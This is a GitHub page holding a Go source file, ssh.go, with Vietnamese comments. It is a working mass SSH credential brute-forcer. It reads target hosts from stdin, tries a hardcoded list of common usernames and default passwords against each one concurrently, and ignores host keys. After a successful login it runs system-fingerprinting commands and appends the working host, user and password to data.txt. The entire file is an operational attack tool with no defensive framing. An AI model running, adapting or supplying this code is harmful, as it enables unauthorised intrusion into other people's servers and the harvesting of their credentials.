-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathssh.go
More file actions
113 lines (95 loc) · 2.69 KB
/
ssh.go
File metadata and controls
113 lines (95 loc) · 2.69 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package main
import (
"bufio"
"fmt"
"golang.org/x/crypto/ssh"
"os"
"strings"
"sync"
"time"
)
var (
users = []string{"root", "admin", "user", "ubuntu", }
passwords = []string{
"password", "123456", "admin", "admin123", "root", "toor",
"qwerty", "password123", "123456789", "admin@123", "P@ssw0rd",
"changeme", "secret", "1234", "12345", "raspberry",
"letmein", "welcome", "test123", "user", "default",
}
syncWait = sync.WaitGroup{}
timeout = 3 * time.Second
)
func tryLogin(host, user, pass string) bool {
config := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{
ssh.Password(pass),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout: timeout,
}
conn, err := ssh.Dial("tcp", host, config)
if err != nil {
return false
}
defer conn.Close()
session, err := conn.NewSession()
if err != nil {
return false
}
defer session.Close()
output, err := session.CombinedOutput(`uname -a && echo "====" && cat /etc/os-release`)
if err != nil {
return false
}
parts := strings.Split(string(output), "====")
if len(parts) < 2 || !strings.Contains(parts[1], "NAME=") {
// Không có nội dung hợp lệ từ /etc/os-release → bỏ qua
return false
}
// Có đủ thông tin → coi là thành công thật
fmt.Printf("[✔] Thành công: %s:%s@%s\n", user, pass, host)
fmt.Println("→ Thông tin hệ thống:")
fmt.Println(strings.TrimSpace(string(output)))
f, err := os.OpenFile("data.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err == nil {
defer f.Close()
f.WriteString(fmt.Sprintf("%s:%s:%s\n", host, user, pass))
}
return true
}
func processTarget(target string) {
defer syncWait.Done()
for _, user := range users {
for _, pass := range passwords {
if tryLogin(target, user, pass) {
return
}
}
}
}
func main() {
if len(os.Args) < 2 {
fmt.Println("Usage: ./tool <port | listen>")
return
}
scan := bufio.NewScanner(os.Stdin)
for scan.Scan() {
target := strings.TrimSpace(scan.Text())
if target == "" {
continue
}
var fullTarget string
if os.Args[1] == "listen" {
fullTarget = target
} else {
fullTarget = target + ":" + os.Args[1]
}
syncWait.Add(1)
go processTarget(fullTarget)
}
if err := scan.Err(); err != nil {
fmt.Fprintf(os.Stderr, "Lỗi khi đọc input: %v\n", err)
}
syncWait.Wait()
}